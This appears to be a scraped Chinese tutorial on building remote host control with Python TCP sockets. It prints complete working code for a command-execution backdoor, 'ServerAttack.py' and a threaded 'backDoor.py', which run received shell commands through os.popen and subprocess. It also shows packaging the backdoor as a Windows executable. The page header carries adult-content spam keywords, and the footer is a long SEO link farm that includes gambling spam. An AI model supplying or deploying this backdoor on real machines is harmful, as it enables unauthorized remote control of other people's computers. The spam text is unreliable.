电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

Python實現Socket通信建立TCP反向連接

瀏覽:45日期:2022-08-06 14:58:08
目錄前言遠程控制腳本編寫腳本優化getopt ()完整代碼前言

本文將記錄學習基于 Socket 通信機制建立 TCP 反向連接,借助 Python 腳本實現主機遠程控制的目的。

我們在傳輸數據時,可以只使用(傳輸層)TCP/IP 協議,但是那樣的話,如果沒有應用層,便無法識別數據內容,如果想要使傳輸的數據有意義,則必須使用到應用層協議,應用層協議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應用層協議。而 Socket 是對 TCP/IP 協議的封裝,Socket 本身并不是協議,而是一個調用接口(API),通過 Socket 我們才能使用 TCP/IP 協議。

HTTP 連接與 Socket 連接的區別

HTTP 是短連接,Socket (基于 TCP 協議的)是長連接。盡管 HTTP1.1 開始支持持久連接,但仍無法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動斷開,否則連接狀態一直保持。 HTTP連接,服務端無法主動發消息,Socket 連接,雙方請求的發送無先后限制。這點就比較重要了,因為它將決定二者分別適合應用在什么場景下。HTTP 采用“請求-響應”機制,在客戶端還沒發送消息給服務端前,服務端無法推送消息給客戶端。必須滿足客戶端發送消息在前,服務端回復在后。Socket 連接雙方類似 peer2peer 的關系,一方隨時可以向另一方喊話。

什么時候該用 HTTP,什么時候該用 Socket?

用 HTTP 的情況:雙方不需要時刻保持連接在線,比如客戶端資源的獲取、文件上傳等。 用 Socket 的情況:大部分即時通訊應用(QQ、微信)、聊天室、蘋果APNs等。

Python3 關于 Socket 網絡編程的相關語法知識可以參見:Python3 網絡編程。

遠程控制

下面開始來看看如何借助 Python 實現對目標主機的遠程控制。

腳本編寫

ServerAttack.py 受控端腳本如下:

import socketimport osip = '' # 空表示可連接所有主機port = 5555 # 設置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s 使用基于tcp協議的網絡套接字s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 關閉后不需要保存狀態可以立即開啟s.bind((ip, port)) # 對象s 開始綁定ip和端口s.listen(10)# 啟動監聽狀態,設置隊列中等待連接服務器的最大請求數10conn, addr = s.accept() # 當與別人建立連接 addr,conn 變量分別存對方ip和連接的對象print('已建立遠程連接:', addr) # 顯示對方地址while True: data = conn.recv(1024) # 接收對方字符串 #如果對方不發數據會卡住 if data == b'q':# 接收到程序終止信號則中斷連接break data = str(data, encoding='utf8') # 將數據轉換為字符串類型 print('遠程主機請求的命令:', data) f = os.popen(data) # 可以將命令的內容以讀取的方式返回 data2 = f.read() if data2 == '':conn.send(b'finish') else:conn.send(bytes(data2, encoding='utf8')) # 發送命令運行結果conn.close() # 斷開連接s.close() # 關閉套結字

ClientAttack.py 控制端腳本如下:

import socketip = '192.168.146.126' # 對方服務器ip地址port = 5555 # 對方服務器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s使用基于tcp協議的網絡套接字s.connect((ip, port)) # 創建socket連接while True: data = input('請輸入命令:') data = bytes(data, encoding='utf8') s.send(data) # 發送數據給對方 data2 = s.recv(1024) # 接收返回的數據 print(str(data2, encoding='utf8')) if data == b'q':breaks.close()

效果演示

1、Linux 遠控

將 ServerAttack.py 受控端腳本拷貝至 Linux 系統并運行,同時 Win10 物理機運行 ClientAttack.py 控制端腳本,可實現遠程連接控制:

Python實現Socket通信建立TCP反向連接

2、Windows 遠控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虛擬機運行生成的 ServerAttack.exe 文件,效果如下:

Python實現Socket通信建立TCP反向連接

腳本優化

下面使用多線程、腳本參數設置、腳本幫助提示、客戶端服務端代碼集成來優化上述實現遠程控制的腳本。

getopt ()

Python 中 getopt 模塊是專門用來處理命令行參數的,函數格式:

getopt(args, shortopts, longopts = [])

參數解析如下:

參數 釋義 補充 args 要解析的參數列表 一般是sys.argv[1:],表示獲取的參數不包括當前執行的 python 腳本名稱 shortopts 要識別的短格式 (-) 選項字符串,如果后接:表示需要給定參數 如ab:c:,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要后接參數 longopts = [] 要識別的長格式(–)選項,如果后接=表示需要給定參數 如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456的長選項

函數返回值由兩個元素組成:

第一個是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含-或--前綴的選項,value 表示該 option 對應的參數,可以為空字符串表示無參數; 第二個是 args 剝離短選項及其參數和長選項及其參數之后剩余的參數列表。完整代碼

import socketimport getoptimport sysimport subprocessfrom threading import Threaddef main(): target = '' # 目標IP port = 0 # 目標端口 listen = False help = False # 利用getopt模塊從命令行獲取參數,sys.argv[1:]可以過濾掉第一個參數(第一個參數是腳本的名稱,它不應該作為參數進行解析) opts, args = getopt.getopt(sys.argv[1:], 't:p:hl') for o, a in opts:if o == '-t': target = aelif o == '-p': port = int(a)elif o == '-h': help = Trueelif o == '-l': listen = Trueelse: # 斷言,傳入的參數有誤 assert False, 'Unhandled Option' # 輸出幫助文檔 if help:usage() # 獲分客戶端和服務端 if listen:server_handle(port) else:client_handle(target, port)# 受控端def server_handle(port): # 創建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定 server.bind((’0.0.0.0’, port)) # 監聽 server.listen(10) print('[*] Listening on 0.0.0.0:%d' % port) while True:client_socket, addr = server.accept()print('[*] Accept connection from %s:%d' % (addr[0], addr[1]))t = Thread(target=run_command, args=(client_socket, server,))t.start()# 控制端,發送命令,接收受控端命令行的回顯內容def client_handle(target, port): # 創建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 連接服務器 client.connect((target, port)) # 接收數據 while True:recv_len = 1# 接收到的數據是utf-8resBuffer = ''.encode(’utf-8’)while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096:break# 在windows下中文會亂碼,所以轉成GBKprint(resBuffer.decode(’gbk’), end='')# 接收命令,發送命令需要將命令轉成byte,并且編碼是utf-8buffer = input('')if buffer.encode(’utf-8’) == b'quit': breakbuffer += 'n'client.send(buffer.encode(’utf-8’)) client.close()# 執行命令涵數def run_command(client_socket,s): while True:# 發送命令給客戶端client_socket.send(b'shell_>')# 定義接收命令byte類型變量cmd_buffer = ''.encode(’utf-8’)# 接收客戶端發過來的消息,直到預到換行,代表客戶端消息輸入完成while b'n' not in cmd_buffer: cmd_buffer += client_socket.recv(1024)if cmd_buffer == b'quit': break# 將完整的byte變量消息轉成字符串cmd_buffer = cmd_buffer.decode()try: # 通過隧道執行命令并以byte數據類型返回輸出的數據 out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 將返回的數據發送給客戶端 client_socket.send(out)except: client_socket.send(b'faild to execute the command') client_socket.close() # 斷開連接 s.close() # 關閉套結字 exit(0)# 輸出幫助信息def usage(): print('help info : python backDoor.py -h') print('client : python backDoor.py -t [target] -p [port]') print('server : python backDoor.py -lp [port]') print('Exit :Input quit to exit ') sys.exit()if __name__ == '__main__': main()

效果演示

獲取腳本幫助提示、進行遠程連接:

Python實現Socket通信建立TCP反向連接

到此這篇關于Python實現Socket通信建立TCP反向連接的文章就介紹到這了,更多相關Python TCP反向連接內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Python 編程
相關文章:
主站蜘蛛池模板: 动物麻醉机-数显脑立体定位仪-北京易则佳科技有限公司 | 色油机-色母机-失重|称重式混料机-称重机-米重机-拌料机-[东莞同锐机械]精密计量科技制造商 | 翅片管换热器「型号全」_厂家-淄博鑫科环保 | 中宏网-今日新闻-财经新闻 | 讲师宝经纪-专业培训机构师资供应商_培训机构找讲师、培训师、讲师经纪就上讲师宝经纪 | 铝箔袋,铝箔袋厂家,东莞铝箔袋,防静电铝箔袋,防静电屏蔽袋,防静电真空袋,真空袋-东莞铭晋让您的产品与众不同 | 废旧物资回收公司_广州废旧设备回收_报废设备物资回收-益美工厂设备回收公司 | 双齿辊破碎机-大型狼牙破碎机视频-对辊破碎机价格/型号图片-金联机械设备生产厂家 | 法兰螺母 - 不锈钢螺母制造厂家 - 万千紧固件--螺母街 | 车充外壳,车载充电器外壳,车载点烟器外壳,点烟器连接头,旅行充充电器外壳,手机充电器外壳,深圳市华科达塑胶五金有限公司 | 培训中心-海南香蕉蛋糕加盟店技术翰香原中心官网总部 | 山东信蓝建设有限公司官网 | 刘秘书_你身边专业的工作范文写作小秘书 | 柴油发电机组_柴油发电机_发电机组价格-江苏凯晨电力设备有限公司 | 连栋温室大棚建造厂家-智能玻璃温室-薄膜温室_青州市亿诚农业科技 | 步进驱动器「一体化」步进电机品牌厂家-一体式步进驱动 | 皮带式输送机械|链板式输送机|不锈钢输送机|网带输送机械设备——青岛鸿儒机械有限公司 | 钢托盘,铁托盘,钢制托盘,镀锌托盘,饲料托盘,钢托盘制造商-南京飞天金属13260753852 | 免费网站网址收录网_海企优网站推荐平台 | LED投光灯-工矿灯-led路灯头-工业灯具 - 山东普瑞斯照明科技有限公司 | 宁夏档案密集柜,智能密集柜,电动手摇密集柜-盛隆柜业宁夏档案密集柜厂家 | 新疆十佳旅行社_新疆旅游报价_新疆自驾跟团游-新疆中西部国际旅行社 | 恒压供水控制柜|无负压|一体化泵站控制柜|PLC远程调试|MCGS触摸屏|自动控制方案-联致自控设备 | 多物理场仿真软件_电磁仿真软件_EDA多物理场仿真软件 - 裕兴木兰 | 仿古瓦,仿古金属瓦,铝瓦,铜瓦,铝合金瓦-西安东申景观艺术工程有限公司 | 青岛侦探_青岛侦探事务所_青岛劝退小三_青岛调查出轨取证公司_青岛婚外情取证-青岛探真调查事务所 | ORP控制器_ORP电极价格-上优泰百科 | 吹田功率计-长创耐压测试仪-深圳市新朗普电子科技有限公司 | RV减速机-蜗轮蜗杆减速机-洗车机减速机-减速机厂家-艾思捷 | 专业甜品培训学校_广东糖水培训_奶茶培训_特色小吃培训_广州烘趣甜品培训机构 | 澳门精准正版免费大全,2025新澳门全年免费,新澳天天开奖免费资料大全最新,新澳2025今晚开奖资料,新澳马今天最快最新图库-首页-东莞市傲马网络科技有限公司 | 北京康百特科技有限公司-分子蒸馏-短程分子蒸馏设备-实验室分子蒸馏设备 | 广州展览制作|展台制作工厂|展览设计制作|展览展示制作|搭建制作公司 | 网架支座@球铰支座@钢结构支座@成品支座厂家@万向滑动支座_桥兴工程橡胶有限公司 | GAST/BRIWATEC/CINCINNATI/KARL-KLEIN/ZIEHL-ABEGG风机|亚喜科技 | 首页_中夏易经起名网 | 上海办公室设计_办公楼,写字楼装修_办公室装修公司-匠御设计 | 电主轴-高速精密电主轴-高速电机厂家-瑞德沃斯品牌有限公司 | 魔方网-培训咨询服务平台| 开业庆典_舞龙舞狮_乔迁奠基仪式_开工仪式-神挚龙狮鼓乐文化传媒 | 外观设计_设备外观设计_外观设计公司_产品外观设计_机械设备外观设计_东莞工业设计公司-意品深蓝 |